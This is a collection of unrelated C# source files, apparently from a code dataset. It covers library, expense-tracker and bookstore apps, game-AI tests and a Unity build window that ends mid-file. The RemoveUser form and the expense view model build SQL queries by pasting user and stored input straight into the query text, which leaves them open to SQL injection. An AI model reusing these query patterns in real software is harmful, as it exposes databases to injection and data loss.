text stringlengths 13 6.01M |
|---|
#region using statements
using System;
#endregion
namespace ObjectLibrary.BusinessObjects
{
#region class State
[Serializable]
public partial class State
{
#region Private Variables
private bool findByName;
#endregion
#region Constructor
public State()
{
}
#endregion
#region Methods
#region Clone()
public State Clone()
{
// Create New Object
State newState = (State) this.MemberwiseClone();
// Return Cloned Object
return newState;
}
#endregion
#endregion
#region Properties
#region FindByName
/// <summary>
/// This property gets or sets the value for 'FindByName'.
/// </summary>
public bool FindByName
{
get { return findByName; }
set { findByName = value; }
}
#endregion
#endregion
}
#endregion
}
|
using System;
using System.Diagnostics;
using System.Reflection;
using System.Windows.Forms;
namespace swsp
{
public partial class About : Form
{
public About()
{
InitializeComponent();
this.versionLabel.Text = String.Format(this.versionLabel.Text, Assembly.GetExecutingAssembly().GetName().Version.ToString().Substring(0, 5));
}
private void okButton_Click(object sender, EventArgs e)
{
this.Close();
}
private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
{
Process.Start("http://traal.eu/swsp");
}
}
}
|
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using MySql.Data.MySqlClient;
namespace OrekiLibraryManage
{
public partial class RemoveUser : Form
{
#region MySQL Connection
public static MySqlConnection Connection = new MySqlConnection(Oreki.ConStr);
public static void SqlCon()
{
if (Connection.State == ConnectionState.Open) Connection.Close();
Connection.Open();
}
public static void ChkCon()
{
if (Connection.State == ConnectionState.Closed)
{
Connection.Open();
}
}
#endregion
public RemoveUser()
{
InitializeComponent();
}
private void CheckBox1_CheckedChanged(object sender, EventArgs e)
{
button2.Enabled = checkBox1.Checked && checkBox1.Enabled;
}
private void Button2_Click(object sender, EventArgs e)
{
var commandText = $"delete from teamz_users where user_barcode='{textBox1.Text}'";
MySqlCommand command=new MySqlCommand(commandText,Connection);
command.ExecuteNonQuery();
string commandText2 = $"delete from teamz_records where user_code='{textBox1.Text}'";
MessageBox.Show("销户成功");
this.Close();
}
private void Button1_Click(object sender, EventArgs e)
{
ChkCon();
checkBox1.Checked = false;
var commandText = $"select user_name from teamz_users where user_barcode='{textBox1.Text}'";
var command = new MySqlCommand(commandText, Connection);
var name = new object();
var reader = command.ExecuteReader();
name = new object();
while (reader.Read())
{
name = reader[0];
}
reader.Close();
if (Oreki.Temp == "0")
{
MessageBox.Show("用户不存在");
return;
}
try
{
var xxx = (string)name;
}
catch (Exception)
{
MessageBox.Show("用户不存在");
return;
}
label2.Text = $"姓名:{(string) name}";
var commandText2 = $"select user_borrowed from teamz_users where user_barcode='{textBox1.Text}'";
var command2 = new MySqlCommand(commandText2, Connection);
var borrowed = new object();
var reader2 = command2.ExecuteReader();
while (reader2.Read())
{
borrowed = reader2[0];
}
reader2.Close();
label3.Text = $"应还书数:{(int)borrowed}";
if ((int)borrowed==0)
{
checkBox1.Enabled = true;
}
else
{
checkBox1.Enabled = false;
}
}
private void TextBox1_KeyPress(object sender, KeyPressEventArgs e)
{
if (e.KeyChar==Convert.ToChar(Keys.Enter))
{
button1.Focus();
Button1_Click(sender,e);
}
}
}
}
|
//
// TranspositionTableTests.cs
//
// Author:
// Jon Thysell <thysell@gmail.com>
//
// Copyright (c) 2017, 2018 Jon Thysell <http://jonthysell.com>
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
using System;
using System.Diagnostics;
using Microsoft.VisualStudio.TestTools.UnitTesting;
using Mzinga.Core;
using Mzinga.Core.AI;
namespace Mzinga.Test
{
[TestClass]
public class TranspositionTableTests
{
[TestMethod]
public void TranspositionTable_NewTest()
{
TranspositionTable tt = new TranspositionTable();
Assert.IsNotNull(tt);
}
[TestMethod]
public void TranspositionTable_MaxMemoryTest()
{
long expectedSizeInBytes = TranspositionTable.DefaultSizeInBytes;
TranspositionTable tt = new TranspositionTable(expectedSizeInBytes);
Assert.IsNotNull(tt);
int count = tt.Capacity;
long startMemoryUsage = GC.GetTotalMemory(true);
for (int i = 0; i < tt.Capacity; i++)
{
ulong key = (ulong)i;
tt.Store(key, CreateMaxEntry(i));
}
long endMemoryUsage = GC.GetTotalMemory(true);
Assert.AreEqual(tt.Capacity, tt.Count);
long actualSizeInBytes = endMemoryUsage - startMemoryUsage;
double usageRatio = actualSizeInBytes / (double)expectedSizeInBytes;
Trace.WriteLine(string.Format("Usage: {0}/{1} ({2:P2})", actualSizeInBytes, expectedSizeInBytes, usageRatio));
Assert.IsTrue(usageRatio - 1.0 <= 0.01, string.Format("Table is too big {0:P2}: {1} bytes (~{2} bytes per entry)", usageRatio, actualSizeInBytes - expectedSizeInBytes, (actualSizeInBytes - expectedSizeInBytes) / tt.Count));
}
[TestMethod]
[TestCategory("Performance")]
public void TranspositionTable_FillAndReplacePerfTest()
{
TimeSpan sum = TimeSpan.Zero;
int iterations = 1000;
for (int i = 0; i < iterations; i++)
{
TranspositionTable tt = new TranspositionTable(TranspositionTable.DefaultSizeInBytes / 1024);
Assert.IsNotNull(tt);
Stopwatch sw = Stopwatch.StartNew();
// Fill
for (int j = 0; j < tt.Capacity; j++)
{
ulong key = (ulong)j;
tt.Store(key, CreateMaxEntry(j));
}
// Replace
for (int j = tt.Capacity - 1; j >= 0; j--)
{
TranspositionTableEntry newEntry = CreateMaxEntry(j);
newEntry.Depth++;
ulong key = (ulong)j;
tt.Store(key, newEntry);
}
sw.Stop();
sum += sw.Elapsed;
}
Trace.WriteLine(string.Format("Average Ticks: {0}", sum.Ticks / iterations));
}
private TranspositionTableEntry CreateMaxEntry(int id)
{
TranspositionTableEntry te = new TranspositionTableEntry
{
Depth = 0,
Type = TranspositionTableEntryType.Exact,
Value = 0,
BestMove = new Move(PieceName.WhiteSoldierAnt1, new Position(0, 0, 0, 0))
};
return te;
}
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using Microsoft.AspNetCore.Mvc;
using Microsoft.AspNetCore.Mvc.Rendering;
using online_knjizara.EF;
using online_knjizara.EntityModels;
using online_knjizara.Helpers;
using online_knjizara.ViewModels;
namespace online_knjizara.Controllers
{
[Autorizacija(zaposlenik: true, citaockorisnik: false)]
public class CitaocKorisnikController : Controller
{
private OnlineKnjizaraDbContext _context;
public CitaocKorisnikController(OnlineKnjizaraDbContext _db)
{
_context = _db;
}
public IActionResult Index(string option, string search)
{
List<CitaocKorisnikPrikazVM> model = _context.CitaocKorisnik.Select(
x => new CitaocKorisnikPrikazVM
{
CitaocKorisnik_ID = x.CitaocKorisnik_ID,
ImeIPrezime = x.Korisnik.Ime + " " + x.Korisnik.Prezime,
KorisnickoIme = x.KorisnickiNalog.KorisnickoIme,
}).ToList();
if (option == "ImePrezime")
{
return View(model.Where(x => search == null || (x.ImeIPrezime ).ToLower().Contains(search.ToLower())).ToList());
}
else if (option == "KorisnickoIme")
{
return View(model.Where(x => search == null || (x.KorisnickoIme).ToLower().Contains(search.ToLower())).ToList());
}
else if (option == "Sve")
{
return View(model);
}
return View(model);
}
public IActionResult Obrisi(int id)
{
var citaocKorisnik = _context.CitaocKorisnik.Find(id);
var nalog = _context.KorisnickiNalozi.Where(x => x.KorisnickiNalog_ID == citaocKorisnik.KorisnickiNalog_ID);
var korisnik = _context.Korisnik.Where(x => x.ID == citaocKorisnik.Korisnik_ID);
if (citaocKorisnik == null)
{
}
else
{
foreach (var item in _context.Zaposlenici)
{
if(item.KorisnickiNalog_ID==citaocKorisnik.KorisnickiNalog_ID)
_context.Zaposlenici.Remove(item);
}
_context.KorisnickiNalozi.Remove(nalog.Single());
_context.Korisnik.Remove(korisnik.Single());
_context.Remove(citaocKorisnik);
_context.SaveChanges();
}
return RedirectToAction("Index");
}
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Smart.Distribution.Station.Controls
{
public class NavBarClickEventArgs : EventArgs
{
private ButtonType _buttonType;
public NavBarClickEventArgs(ButtonType buttonType)
{
this._buttonType = buttonType;
}
public ButtonType ButtonType
{
get { return _buttonType; }
}
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace _24.PrintSorted
{
class PrintSorted
{
static void Main(string[] args)
{
/*Write a program that reads a list of words, separated by spaces and prints the list in an alphabetical order.*/
//Console.WriteLine("Enter list of words separated by spaces: ");
//string str = Console.ReadLine();
string str = "afdgt ajsjjt rhtu seyr bntui fhtj kgkgl ofjkg mvjfj whdjjg";
var words = str.Split(' ');
var sorted = words.OrderBy(c=>c);
foreach (var item in sorted)
{
Console.WriteLine(item);
}
}
}
}
|
using System.Diagnostics;
namespace OmniSharp.Extensions.LanguageServer.Protocol.Models
{
[DebuggerDisplay("{" + nameof(DebuggerDisplay) + ",nq}")]
public record TextDocumentItem : TextDocumentIdentifier
{
/// <summary>
/// The text document's language identifier.
/// </summary>
public string LanguageId { get; init; } = null!;
/// <summary>
/// The version number of this document (it will strictly increase after each
/// change, including undo/redo).
/// </summary>
public int? Version { get; init; }
/// <summary>
/// The content of the opened text document.
/// </summary>
public string Text { get; init; } = null!;
private string DebuggerDisplay => $"({LanguageId}@{Version}) {Uri}";
/// <inheritdoc />
public override string ToString()
{
return DebuggerDisplay;
}
}
}
|
using System.Collections.Generic;
using BookStore.Model;
namespace BookStore.SearchByXml
{
public interface IQueryProcessor
{
IEnumerable<Review> Process();
}
}
|
using System;
using System.Collections.Generic;
namespace GovermentApp
{
class FakeGovermentGenerator
{
public static ICompositable GetGoverment()
{
ICompositable goverment = new Ministry("Goverment");
string[] firstNames = { "John", "Mike", "Peter", "Bob", "Frank", "Alice", "Ann", "Jane", "Lilly", "Katrin" };
string[] lastNames = { "Brown", "Cooper", "Merkury", "Adams", "Fox", "Williams", "Doe", "Douglas" };
string[] ministriesNames = { "Transport", "Finance", "Science", "Energy" };
Random r = new Random();
for (int i = 0; i < 4; i++)
{
List<ICompositable> emps = new List<ICompositable>();
for (int j = 0; j < 5; j++)
{
Employee employee = new Employee(firstNames[r.Next(firstNames.Length)] + " " + lastNames[r.Next(lastNames.Length)]);
emps.Add(employee);
}
Ministry ministry = new Ministry($"Ministry Of {ministriesNames[i]}", emps);
((Ministry)goverment).Add(ministry);
}
return goverment;
}
}
}
|
using System;
//For MethodImpl
using System.Runtime.CompilerServices;
namespace Unicorn
{
public static class Input
{
// Keyboard
[MethodImpl(MethodImplOptions.InternalCall)]
public extern static bool GetKeyPress(VK val);
[MethodImpl(MethodImplOptions.InternalCall)]
public extern static bool GetKeyHold(VK val);
[MethodImpl(MethodImplOptions.InternalCall)]
public extern static bool GetKeyUp(VK val);
// Controller
[MethodImpl(MethodImplOptions.InternalCall)]
public extern static void Resetcontroller(bool allowController = false);
[MethodImpl(MethodImplOptions.InternalCall)]
public extern static bool GetCTRLButtonDown(uint button);
[MethodImpl(MethodImplOptions.InternalCall)]
public extern static bool GetButtonPress(uint button);
[MethodImpl(MethodImplOptions.InternalCall)]
public extern static bool GetButtonHold(uint button);
[MethodImpl(MethodImplOptions.InternalCall)]
public extern static bool GetButtonUp(uint button);
[MethodImpl(MethodImplOptions.InternalCall)]
public extern static float GetTrigger(int lr);
[MethodImpl(MethodImplOptions.InternalCall)]
public extern static Vector3 GetAnalog(int lr);
// Mouse
[MethodImpl(MethodImplOptions.InternalCall)]
public extern static Vector3 GetMousePos();
[MethodImpl(MethodImplOptions.InternalCall)]
public extern static Vector3 GetOriginalMousePos();
[MethodImpl(MethodImplOptions.InternalCall)]
public extern static Vector3 GetMouseDragVec();
[MethodImpl(MethodImplOptions.InternalCall)]
public extern static bool ToggleShowCursor();
[MethodImpl(MethodImplOptions.InternalCall)]
public extern static void SetCursorVisible(bool visible);
[MethodImpl(MethodImplOptions.InternalCall)]
public extern static void LoadCursorImage(string name);
[MethodImpl(MethodImplOptions.InternalCall)]
public extern static Vector3 GetClientRectSize();
[MethodImpl(MethodImplOptions.InternalCall)]
public extern static bool ToggleClipCursor();
[MethodImpl(MethodImplOptions.InternalCall)]
public extern static void SetClipCursor(bool clip);
[MethodImpl(MethodImplOptions.InternalCall)]
public extern static Vector3 SetCursorPos(int x, int y);
[MethodImpl(MethodImplOptions.InternalCall)]
public extern static void SetToCenter(bool set);
[MethodImpl(MethodImplOptions.InternalCall)]
public extern static Vector3 GetRelativeLocation();
[MethodImpl(MethodImplOptions.InternalCall)]
public extern static Vector3 GetRelativeDragVec();
[MethodImpl(MethodImplOptions.InternalCall)]
public extern static void SetScroll(short scroll);
[MethodImpl(MethodImplOptions.InternalCall)]
public extern static bool GetScrollUp();
[MethodImpl(MethodImplOptions.InternalCall)]
public extern static bool GetScrollDown();
[MethodImpl(MethodImplOptions.InternalCall)]
public extern static void ResetWinSize();
}
}
|
using Microsoft.EntityFrameworkCore;
using MyPage.Models;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace MyPage.Data.DAL
{
public class PostDAL
{
private readonly Contexto _contexto;
public PostDAL(Contexto contexto)
{
_contexto = contexto;
}
public IQueryable<Post> GetPosts()
{
return _contexto.Posts
.Include(p => p.Categoria)
.Include(p => p.Autor)
.OrderBy(p => p.Titulo);
}
public async Task<Post> GetPostById(long id)
{
var post = await _contexto.Posts.SingleOrDefaultAsync(p => p.Id == id);
_contexto.Categorias.Where(c => c.Id == post.CategoriaId).Load();
//_contexto.Usuarios.Where(u => u.Id == post.AutorId).Load();
return post;
}
public async Task<Post> SetPost(Post post)
{
if(post.Id == null)
{
post.DataCriacao = DateTime.Now;
_contexto.Posts.Add(post);
}
else
{
post.DataUltimaEdicao = DateTime.Now;
_contexto.Update(post);
}
await _contexto.SaveChangesAsync();
return post;
}
public async Task<Post> RemovePost(long id)
{
var post = await GetPostById(id);
_contexto.Posts.Remove(post);
await _contexto.SaveChangesAsync();
return post;
}
}
}
|
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace PlayTennis.Model.Dto
{
public class EditPurposeDto
{
///// <summary>
///// 微信用户id
///// </summary>
//public Guid wxUserid { get; set; }
public Guid Id { get; set; }
/// <summary>
/// 运动开始时间
/// </summary>
public DateTime? startTime { get; set; }
/// <summary>
/// 运动结束时间
/// </summary>
public DateTime? endTime { get; set; }
/// <summary>
/// 时间是否可以协商
/// </summary>
public bool isCanChange { get; set; }
/// <summary>
/// 运动意向说明
/// </summary>
public string exerciseExplain { get; set; }
/// <summary>
/// 位置
/// </summary>
public LocationDto userLocation { get; set; }
/// <summary>
/// 微信表单id
/// </summary>
public string formId { get; set; }
}
public class LocationDto
{
/// <summary>
/// 纬度
/// </summary>
public double latitude { get; set; }
/// <summary>
/// 经度
/// </summary>
public double longitude { get; set; }
/// <summary>
/// 速度,浮点数,单位m/s
/// </summary>
public decimal speed { get; set; }
/// <summary>
/// 位置的精确度
/// </summary>
public string accuracy { get; set; }
}
} |
using System;
using System.ComponentModel;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Text;
//using Plugin.Toast;
using Newtonsoft.Json;
using Xamarin.Essentials;
using Xamarin.Forms;
namespace ExpenseTracker.ViewModels
{
public class ExpenseEntriesViewModel : INotifyPropertyChanged
{
Model.DataQuery_Mod DataQuery;
private double _ChangeFont = 12;
public double ChangeFont
{
get { return _ChangeFont; }
set { _ChangeFont = value; OnPropertyChanged(nameof(ChangeFont)); }
}
private bool _MenuVisible = false;
public double AccountBalance { get; set; }
private ObservableCollection<ExpenseEntry> _ItemListE;
public ObservableCollection<ExpenseEntry> ItemListE
{
get
{
try
{
if (Connectivity.NetworkAccess == NetworkAccess.Internet)
{
var dat = DateTime.Now;
var datstart = dat.AddMonths(-1);
string startDateString = "";
string endDateString = "";
if (Preferences.Get("start_date", datstart).ToString("d") == datstart.ToString("d"))
startDateString = datstart.ToString("d") + " 12:00:00 AM";
else
startDateString = Preferences.Get("start_date", dat).ToString("d") + " 12:00:00 AM";
if (Preferences.Get("end_date", DateTime.Now).ToString("d") == DateTime.Now.ToString("d"))
endDateString = DateTime.Now.ToString("d") + " 11:59:59 PM";
else
endDateString = Preferences.Get("end_date", DateTime.Now).ToString("d") + " 11:59:59 PM";
DataQuery.expenseSelect = "SELECT ex.[ID], ex.[User_ID], acc1.AccountName, ex.[ExpenseAmount], acc2.AccountName as IncomeAccountName, ex.[ExpenseDate]"
+ " ,ec.CategoryName as ExpenseCategory, ex.[Repeat], rp.RepeatPeriod, ex.expenseName FROM [dbo].[Expense] ex inner join Account acc1 on ex.Account_ID = acc1.ID"
+ " inner join Account acc2 on ex.IncomeAccount_ID = acc2.ID inner join ExpenseCategory ec on ex.ExpenseCategory_ID = ec.ID"
+ " inner join RepeatPeriod rp on ex.RepeatPeriod_ID = rp.ID";
DataQuery.expenseWhere = " where ex.user_id = " + Preferences.Get("ExpenseT_UserID", "0") + " and (ExpenseDate between '" + startDateString + "' and '" + endDateString + "') and ex.Account_ID = " + accountID;
_ItemListE = DataQuery.ExecuteAQuery<ExpenseEntry>();
}
else
{
DependencyService.Get<IToast>().Show("No Internet Connection.");
_ItemListE = new ObservableCollection<ExpenseEntry>();
}
return _ItemListE;
}
catch (Exception ex)
{
//if (Xamarin.Forms.Device.RuntimePlatform != "UWP")
// CrossToastPopUp.Current.ShowToastMessage(ex.Message);
DependencyService.Get<IToast>().Show(ex.Message);
return null;
}
}
set { _ItemListE = value; OnPropertyChanged(nameof(ItemListE)); }
}
string accountType;
int accountID = 0;
public bool MenuVisible
{
get
{
return _MenuVisible;
}
set
{
_MenuVisible = value; OnPropertyChanged(nameof(MenuVisible));
}
}
private bool _NameDate = true;
public bool NameDate
{
get
{
return _NameDate;
}
set
{
_NameDate = value; OnPropertyChanged(nameof(NameDate));
}
}
private int _Span = 3;
public int Span
{
get
{
return _Span;
}
set
{
_Span = value; OnPropertyChanged(nameof(Span));
}
}
public ExpenseEntriesViewModel(int accountID)
{
DataQuery = new Model.DataQuery_Mod();
this.accountID = accountID;
}
public event PropertyChangedEventHandler PropertyChanged;
protected void OnPropertyChanged([System.Runtime.CompilerServices.CallerMemberName] string name = "")
{
PropertyChangedEventHandler handler = PropertyChanged;
if (handler != null)
{
handler(this, new PropertyChangedEventArgs(name));
}
}
}
}
|
// ===== Enhanced Editor - https://github.com/LucasJoestar/EnhancedEditor ===== //
//
// Notes:
//
// ============================================================================ //
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using UnityEditor;
using UnityEditor.Build.Reporting;
using UnityEditorInternal;
using UnityEngine;
using Debug = UnityEngine.Debug;
namespace EnhancedEditor.Editor
{
/// <summary>
/// Editor window focused on the build pipeline, used to build with additional parameters,
/// launch existing builds, and manage custom scripting define symbols activation.
/// </summary>
public class BuildPipelineWindow : EditorWindow
{
#region Build Info
[Serializable]
private class BuildInfo
{
public string Name = string.Empty;
public string Path = string.Empty;
public string Platform = string.Empty;
public string CreationDate = string.Empty;
public GUIContent Icon = new GUIContent();
public bool IsVisible = true;
// -----------------------
public BuildInfo(string _path)
{
Name = System.IO.Path.GetFileName(System.IO.Path.GetDirectoryName(_path));
Path = _path;
string _platform = LoadPresetFromBuild(this)
? selectedBuildPreset.BuildTarget.ToString()
: Name;
Platform = GetBuildIcon(_platform, Icon);
CreationDate = Directory.GetCreationTime(_path).ToString();
}
}
#endregion
#region Scene Wrapper
[Serializable]
private class SceneWrapper
{
public UnityEditor.SceneAsset Scene = null;
public GUIContent Label = null;
public bool IsEnabled = false;
public bool IsSelected = false;
public bool IsVisible = true;
// -----------------------
public SceneWrapper(UnityEditor.SceneAsset _scene, bool _isEnabled)
{
Scene = _scene;
Label = new GUIContent(_scene?.name);
IsEnabled = _isEnabled;
IsSelected = false;
}
}
#endregion
#region Scripting Define Symbol Info
[Serializable]
private class ScriptingDefineSymbolInfo
{
public ScriptingDefineSymbolAttribute DefineSymbol = null;
public GUIContent Label = null;
public bool IsEnabled = false;
public bool IsSelected = false;
public bool IsVisible = true;
// -----------------------
public ScriptingDefineSymbolInfo(ScriptingDefineSymbolAttribute _symbol)
{
DefineSymbol = _symbol;
Label = new GUIContent(_symbol.Description, _symbol.Symbol);
IsEnabled = false;
IsSelected = false;
}
}
#endregion
#region Menu Navigation
/// <summary>
/// Returns the first <see cref="BuildPipelineWindow"/> currently on screen.
/// <br/> Creates and shows a new instance if there is none.
/// </summary>
/// <returns><see cref="BuildPipelineWindow"/> instance on screen.</returns>
[MenuItem(InternalUtility.MenuItemPath + "Build/Build Pipeline", false, 30)]
public static BuildPipelineWindow GetWindow()
{
BuildPipelineWindow _window = GetWindow<BuildPipelineWindow>("Build Pipeline");
_window.Show();
return _window;
}
/// <summary>
/// Launches the last created game build.
/// </summary>
[MenuItem(InternalUtility.MenuItemPath + "Build/Launch Last Build", false, 31)]
public static void LaunchLastBuild()
{
string[] _builds = GetBuilds();
if (_builds.Length > 0)
{
Array.Sort(_builds, (a, b) =>
{
return Directory.GetCreationTime(b).CompareTo(Directory.GetCreationTime(a));
});
string _build = _builds[0];
LaunchBuild(_build);
}
else
{
EditorUtility.DisplayDialog("No Build",
$"No build could be found in the directory: \n\"{BuildDirectory}\".\n\n" +
"Make sure you have selected a valid folder in the Preferences settings.",
"OK");
}
}
#endregion
#region Window GUI
private const float SectionWidthCoef = .6f;
private const float SectionHeight = 400f;
private const float ButtonHeight = 20f;
private const float LargeButtonHeight = 25f;
private const float RefreshButtonWidth = 60f;
private const string UndoRecordTitle = "Build Pipeline Change";
private const string PresetMetaDataFile = "preset.meta";
public const char ScriptingDefineSymbolSeparator = ';';
private static readonly int buildDirectorySettingsGUID = "BuildPipelineDirectory".GetHashCode();
private static FolderEnhancedSettings buildDirectorySettings = null;
public static string BuildDefaultDirectory {
get {
string _directory = Path.Combine(Path.GetDirectoryName(Application.dataPath), "Builds");
return _directory.Replace(Path.DirectorySeparatorChar, Path.AltDirectorySeparatorChar);
}
}
/// <summary>
/// The directory where to build and look for existing builds of the game.
/// </summary>
public static string BuildDirectory {
get {
return BuildDirectorySettings.Folder;
}
}
/// <summary>
/// Build directory related user settings.
/// </summary>
public static FolderEnhancedSettings BuildDirectorySettings {
get {
EnhancedEditorUserSettings _userSettings = EnhancedEditorUserSettings.Instance;
if ((buildDirectorySettings == null) && !_userSettings.GetSetting(buildDirectorySettingsGUID, out buildDirectorySettings, out _)) {
buildDirectorySettings = new FolderEnhancedSettings(buildDirectorySettingsGUID, BuildDefaultDirectory, false);
_userSettings.AddSetting(buildDirectorySettings);
}
return buildDirectorySettings;
}
}
public static readonly AutoManagedResource<BuildPreset> PresetResources = new AutoManagedResource<BuildPreset>("Custom", "BP_", string.Empty);
private readonly GUIContent[] tabsGUI = new GUIContent[]
{
new GUIContent("Game Builder", "Make a new build of the game."),
new GUIContent("Launcher", "Launch an existing game build."),
new GUIContent("Configuration", "Configure the game and build settings.")
};
private readonly EditorColor sectionColor = new EditorColor(new Color(.65f, .65f, .65f), SuperColor.DarkGrey.Get());
private readonly EditorColor peerColor = new EditorColor(new Color(.8f, .8f, .8f), new Color(.25f, .25f, .25f));
private readonly EditorColor selectedColor = EnhancedEditorGUIUtility.GUISelectedColor;
private readonly Color validColor = SuperColor.Green.Get();
private readonly Color warningColor = SuperColor.Crimson.Get();
private readonly Color separatorColor = SuperColor.Grey.Get();
[SerializeField] private int selectedTab = 0;
private Vector2 scroll = new Vector2();
// -----------------------
private void OnEnable()
{
EditorBuildSettings.sceneListChanged -= RefreshAllScenes;
EditorBuildSettings.sceneListChanged += RefreshAllScenes;
Undo.undoRedoPerformed -= OnUndoRedoOperation;
Undo.undoRedoPerformed += OnUndoRedoOperation;
titleContent.image = EditorGUIUtility.FindTexture("BuildSettings.Editor.Small");
InitializeBuildPresets();
InitializeBuilder();
InitializeLauncher();
InitializeConfiguration();
}
private void OnGUI()
{
Undo.RecordObject(this, UndoRecordTitle);
GUILayout.Space(5f);
// Tab selection.
selectedTab = EnhancedEditorGUILayout.CenteredToolbar(selectedTab, tabsGUI, GUILayout.Height(25f));
GUILayout.Space(5f);
// Selected tab content.
using (var _scroll = new GUILayout.ScrollViewScope(scroll))
{
scroll = _scroll.scrollPosition;
using (var _scope = new GUILayout.HorizontalScope())
{
GUILayout.Space(5f);
using (var _verticalScope = new GUILayout.VerticalScope())
{
switch (selectedTab)
{
case 0:
DrawBuilder();
break;
case 1:
DrawLauncher();
break;
case 2:
DrawConfiguration();
break;
}
}
GUILayout.Space(5f);
}
GUILayout.Space(10f);
}
}
private void OnFocus()
{
// Refresh presets if any have been destroyed.
if (ArrayUtility.Contains(buildPresets, null))
{
RefreshBuildPresets();
}
}
private void OnDisable()
{
EditorBuildSettings.sceneListChanged -= RefreshAllScenes;
Undo.undoRedoPerformed -= OnUndoRedoOperation;
}
// -----------------------
private void OnBuildResetLayout()
{
// When building, the editor loses all of its horizontal and vertical layout scopes,
// so begin them once again to avoid errors in the console.
GUILayout.BeginScrollView(scroll);
GUILayout.BeginHorizontal();
GUILayout.BeginVertical();
}
private void OnUndoRedoOperation()
{
switch (selectedTab)
{
// Builder.
case 0:
OnBuilderUndoRedo();
break;
// Launcher.
case 1:
OnLauncherUndoRedo();
break;
// Configuration
case 2:
OnConfigurationUndoRedo();
break;
}
// Avoid out of range preset index.
selectedPreset = Mathf.Min(selectedPreset, buildPresets.Length - 1);
Repaint();
}
#endregion
#region Builder
private const float ProjectScenesSectionHeight = 250f;
private const float AddButtonWidth = 150f;
private const float RemoveButtonWidth = 175f;
private const float BuildButtonWidth = 100f;
private readonly GUIContent buildScenesHeaderGUI = new GUIContent("Build Scenes:", "Scenes to be included in the build.");
private readonly GUIContent projectScenesHeaderGUI = new GUIContent("Project Scenes:", "All other project scenes, non included in the build.");
private readonly GUIContent refreshBuildScenesGUI = new GUIContent("Refresh", "Refresh build scenes.");
private readonly GUIContent refreshProjectScenesGUI = new GUIContent("Refresh", "Refresh project scenes.");
private readonly GUIContent buildSceneEnabledGUI = new GUIContent(string.Empty, "Is this scene enabled and included in build?");
private readonly GUIContent addScenesToBuildGUI = new GUIContent("Add Selected Scene(s)", "Adds selected scene(s) to build.");
private readonly GUIContent removeScenesFromBuildGUI = new GUIContent("Remove Selected Scene(s)", "Removes selected scene(s) from build.");
private readonly GUIContent enableScenesForBuildGUI = new GUIContent("Enable for Build", "Enables selected scene(s) for build.");
private readonly GUIContent disableScenesForBuildGUI = new GUIContent("Disable for Build", "Disables selected scene(s) for build.");
private readonly GUIContent buildTargetGUI = new GUIContent("Build Target", "The platform to build for.");
private readonly GUIContent buildOptionsGUI = new GUIContent("Build Options", "Additional build options to use for this build.");
private readonly GUIContent scriptingSymbolsGUI = new GUIContent("Scripting Symbols", "Scripting define symbols to be active in this build.");
private readonly GUIContent builderDirectoryGUI = new GUIContent("Build in Directory:", "Directory in which to build the game.");
private readonly GUIContent buildIdentifierGUI = new GUIContent("Build Identifier", "Additional identifier of this build.");
private readonly GUIContent buildVersionGUI = new GUIContent("Version", "Version of this build.");
private readonly GUIContent buildPresetGUI = new GUIContent("Build Preset:", "Selected preset to build the game with.");
private readonly GUIContent buildButtonGUI = new GUIContent("BUILD", "Builds with the selected settings.");
[SerializeField] private SceneWrapper[] buildScenes = new SceneWrapper[] { };
[SerializeField] private SceneWrapper[] projectScenes = new SceneWrapper[] { };
[SerializeField] private string buildVersion = string.Empty;
[SerializeField] private string buildIdentifier = string.Empty;
[SerializeField] private string buildScenesSearchFilter = string.Empty;
[SerializeField] private string projectScenesSearchFilter = string.Empty;
[SerializeField] private int lastSelectedBuildScene = -1;
[SerializeField] private int lastSelectedProjectScene = -1;
private int buildSceneControlID = -1;
private int projectSceneControlID = -1;
private ReorderableList buildScenesList = null;
private bool isManualSceneUpdate = false;
private Vector2 buildScenesScroll = new Vector2();
private Vector2 projectScenesScroll = new Vector2();
private bool doFocusBuildScene = false;
private bool doFocusProjectScene = false;
// -----------------------
private void DrawBuilder()
{
// Get control IDs to use for keyboard focus on scene(s) selection.
buildSceneControlID = EnhancedEditorGUIUtility.GetControlID(828, FocusType.Keyboard);
projectSceneControlID = EnhancedEditorGUIUtility.GetControlID(829, FocusType.Keyboard);
DrawTab(DrawBuilderHeader,
DrawBuilderSectionToolbar,
DrawBuilderSection,
BuilderSectionEvents,
DrawBuilderRightSide,
DrawBuilderBottom,
ref buildScenesScroll);
}
private void DrawBuilderHeader()
{
using (var _scope = new GUILayout.HorizontalScope())
{
GUIStyle _style = EditorStyles.boldLabel;
EditorGUILayout.LabelField(buildScenesHeaderGUI, _style, GUILayout.Width((position.width * SectionWidthCoef) + 8f));
EditorGUILayout.LabelField(projectScenesHeaderGUI, _style);
}
}
private void DrawBuilderSectionToolbar()
{
// Search filter.
string _searchFilter = EnhancedEditorGUILayout.ToolbarSearchField(buildScenesSearchFilter, GUILayout.MinWidth(50f));
